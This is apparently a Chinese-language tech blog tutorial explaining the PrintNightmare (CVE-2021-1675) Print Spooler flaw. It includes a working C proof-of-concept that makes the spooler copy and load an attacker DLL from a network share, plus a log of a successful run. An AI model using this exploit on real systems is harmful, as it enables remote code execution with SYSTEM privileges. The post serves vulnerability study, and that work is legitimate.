【Day 03】又是 Print Spooler 搞的鬼 - CVE-2021-1675 PrintNightmare

环境

  • Windows Server 2019 (目标环境不能被更新过)
  • Visual Studio 2019
  • Impacket 0.9.23

漏洞介绍

今年微软的 Print Spooler 漏洞频频,包含六月中的 CVE-2021-1675、七月的 CVE-2021-34527,还有八月的 CVE-2021-36936。这篇要说明这个被微软称作 PrintingNightmare 的 CVE-2021-1675 的成因与原理。

列印多工缓冲处理器 - Print Spooler,是用来管理所有本地和网络打印队列及控制所有打印工作。

原本这个漏洞只被认为是个 LPE(Local Privilege Escalation) 漏洞。但是只要在同个 Domain,并且在目标机器有一般使用者权限,能够存取 Print Spooler 服务,就可以触发这个漏洞。因此这个漏洞就升级成 RCE(Remote Code Execution) 漏洞。

确认服务

可以使用 impacket 的 rpcdump 确认 Print Spooler 服务是否存在。

$ python3 rpcdump.py @192.168.88.145 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol

漏洞成因与原理

RPC


从 Client 透过 RPC 传送资讯给 Server 的 Print Spooler 服务,并且更新档案。其中在处理 RPC 的过程,localspl.dll 中的 SplAddPrinterDriverEx 这个函数因为没有检查 SeLoadDriverPrivilege 权限,最终导致让攻击者可以提权至 SYSTEM 并执行任意程序。

Upgrade

当 Print Spooler 有发生更新的状况时,新版本的档案会放在 C:\Windows\System32\spool\drivers\x64\3,而旧版本的档案保留在 C:\Windows\System32\spool\drivers\x64\3\Old\ 目录,Old 里面又会放流水号的目录以免有很多个旧版本。攻击者可以透过这点利用 RPC 先把网路芳邻的档案复制进本机目录,再更新 Print Spooler 载入自己的 Image。

更新的档案

三个参数 pDriverPath、pDataFile、pConfigFile 分别代表三个路径,其中 pDriverPath 必须是 UNIDRV.dll,而 UNIDRV.dll 的位置会根据版本不同而改变,在我的 Windows Server 2019 的路径是 C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL;pDataFile 可以使用 UNC Path,虽然不会载入到 spoolsv.exe,但是档案会被复制;pConfigFile 则是会载入 spoolsv.exe 的档案,不过这不能填 UNC Path,得要先利用 pDataFile 把档案复制到本机後再 RPC 一次才载入。

漏洞重现

流程

  1. 设定 RPC 参数
    • 其中 pDriverPath 必须是 UNIDRV.DLL;
    • pConfigFile 是会被载入的档案;
    • pDataFile 不会被载入,但是会被复制到 C:\Windows\System32\spool\drivers\x64\3\
  2. 取得经过身分验证的 Binding Handle
  3. 传送 RPC,总共至少要传 3 次
    • 第一次会先把 pDataFile 档案复制到 C:\Windows\System32\spool\drivers\x64\3\ ,原本的档案则被放到 C:\Windows\System32\spool\drivers\x64\3\Old\1
    • 第二次会把第一次被复制到 C:\Windows\System32\spool\drivers\x64\3\ 的档案放到 C:\Windows\System32\spool\drivers\x64\3\Old\2\
    • 第三次会把 pConfigFile 改成第二次被放到 C:\Windows\System32\spool\drivers\x64\3\Old\2 的档案

POC

改自 afwu/PrintNightmare,不过现在连结似乎失效了,完整 POC 放在 zeze-zeze/2021iThome

int wmain(int argc, wchar_t* argv[]) {
    if (argc != 5) {
        printf(".\\poc.exe dc_ip path_to_exp user_name password\n");
        printf("For example: \n");
        printf(".\\poc.exe  192.168.228.191 \\\\192.168.228.1\\test\\MyExploit.dll test 123 \n");
        return 0;
    }
    wsprintf(dc_ip, L"%s", argv[1]);
    wsprintf(dc_path, L"\\\\%s", argv[1]);
    wsprintf(src_exp_path, L"%s", argv[2]);
    wsprintf(exp_name, L"%s", wcsrchr(argv[2], '\\')+1);
    wsprintf(username, L"%s", argv[3]);
    wsprintf(password, L"%s", argv[4]);

    printf("[+] Get Info:\n");
    wprintf(L"[+] dc_ip: %s\n", dc_ip);
    wprintf(L"[+] dc_path: %s\n", dc_path);
    wprintf(L"[+] src_exp_path: %s\n", src_exp_path);
    wprintf(L"[+] exp_name: %s\n", exp_name);
    wprintf(L"[+] username: %s\n", username);
    wprintf(L"[+] password: %s\n\n", password);

    // 1. 设定 RPC 参数
    // 其中 pDriverPath 必须是 UNIDRV.DLL;
    // pConfigFile 是会被载入的档案;
    // pDataFile 不会被载入,但是会被复制到 C:\Windows\System32\spool\drivers\x64\3\ 
    DRIVER_INFO_2 info;
    info.cVersion = 3;
    info.pConfigFile = (LPWSTR)L"C:\\Windows\\System32\\KernelBase.dll";
    info.pDataFile = src_exp_path;
    info.pDriverPath = (LPWSTR)L"C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL";
    info.pEnvironment = (LPWSTR)L"Windows x64";
    info.pName = (LPWSTR)L"XDD";
    DRIVER_CONTAINER container_info;
    container_info.Level = 2;
    container_info.DriverInfo.Level2 = new DRIVER_INFO_2();
    container_info.DriverInfo.Level2->cVersion = 3;
    container_info.DriverInfo.Level2->pConfigFile = info.pConfigFile;
    container_info.DriverInfo.Level2->pDataFile = info.pDataFile;
    container_info.DriverInfo.Level2->pDriverPath = info.pDriverPath;
    container_info.DriverInfo.Level2->pEnvironment = info.pEnvironment;
    container_info.DriverInfo.Level2->pName = info.pName;

    // 2. 取得经过身分验证的 Binding Handle
    RPC_BINDING_HANDLE handle;
    RPC_STATUS status = CreateBindingHandle(&handle);

    // 3. 传送 RPC
    RpcTryExcept
    {
        DWORD hr;

        // 第一次会先把 pDataFile 档案复制到 C:\Windows\System32\spool\drivers\x64\3\ ,原本的档案则被放到 C:\Windows\System32\spool\drivers\x64\3\Old\1 
        // 第二次会把第一次被复制到 C:\Windows\System32\spool\drivers\x64\3\ 的档案放到 C:\Windows\System32\spool\drivers\x64\3\Old\2\ 
        for (int i = 0; i < 2; i++) {
            hr = RpcAddPrinterDriverEx(handle,
                dc_path,
                &container_info,
                APD_COPY_ALL_FILES | 0x10 | 0x8000
            );
        }
		
        // 第三次会把 pConfigFile 改成第二次被放到 C:\Windows\System32\spool\drivers\x64\3\Old\2 的档案 
        wsprintf(dest_exp_path, L"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\Old\\2\\%s", exp_name);
        container_info.DriverInfo.Level2->pConfigFile = dest_exp_path;
        hr = RpcAddPrinterDriverEx(handle,
            dc_path,
            &container_info,
            APD_COPY_ALL_FILES | 0x10 | 0x8000
        );
        wprintf(L"[*] Try to load %s - ErrorCode %d\n", container_info.DriverInfo.Level2->pConfigFile,hr);
        if (hr == 0) return 0;
    }
    RpcExcept(1) {
        status = RpcExceptionCode();
        printf("RPC ERROR CODE %d\n", status);
    }
    RpcEndExcept
}

实际测试

# POC.exe 192.168.88.145 \\192.168.88.145\share\InjectedDLL.dll user password
[+] Get Info:
[+] dc_ip: 192.168.88.145
[+] dc_path: \\192.168.88.145
[+] src_exp_path: \\192.168.88.145\share\InjectedDLL.dll
[+] exp_name: InjectedDLL.dll
[+] username: user
[+] password: password

[+] Binding successful!! handle: -1519388184
[*] Try to load C:\Windows\System32\spool\drivers\x64\3\Old\2\InjectedDLL.dll - ErrorCode 0

POC 会试图复制并载入 InjectedDLL.dll 档案,ErrorCode 为 0 时代表成功。这时在目标机器用 Process Explorer 查看 spoolsv.exe 有没有成功载入 InjectedDLL.dll。

修补状况

CVE-2021-1675 已在今年六月的 Patch Tuesday 修补,不过因为没修补完全而出现的 CVE-2021-34527 又是另一个故事了。

参考资料


<<:  第 3 天 「速速前吕布奉先!」|NgModule、HttpClientModule、新增元件

>>:  Day4 Python基础语法二

Android Curv Gradient 曲线渐层2-优化篇

前言 延续前篇Android Curv Gradient 曲线渐层 过了一个月...终於改好啦!!!...

新新新手阅读 Angular 文件 - Get data from a server(1) - Day10

学习目标 本文章将会是阅读官方文件 Get data from a server 内容所做的笔记。 ...

Day-1 杰哥的考研纪录

杰哥的考研纪录 tags: IT铁人 首先先跟各位打个招呼! 欢迎来到杰哥的考研小天地~ 这篇会简单...

菸酒生的ARM之路-1

在介绍的时候有说到我是在爬文苹果电脑的时候注意到ARM的!不得不说,使用了两个多月下来,对於使用全新...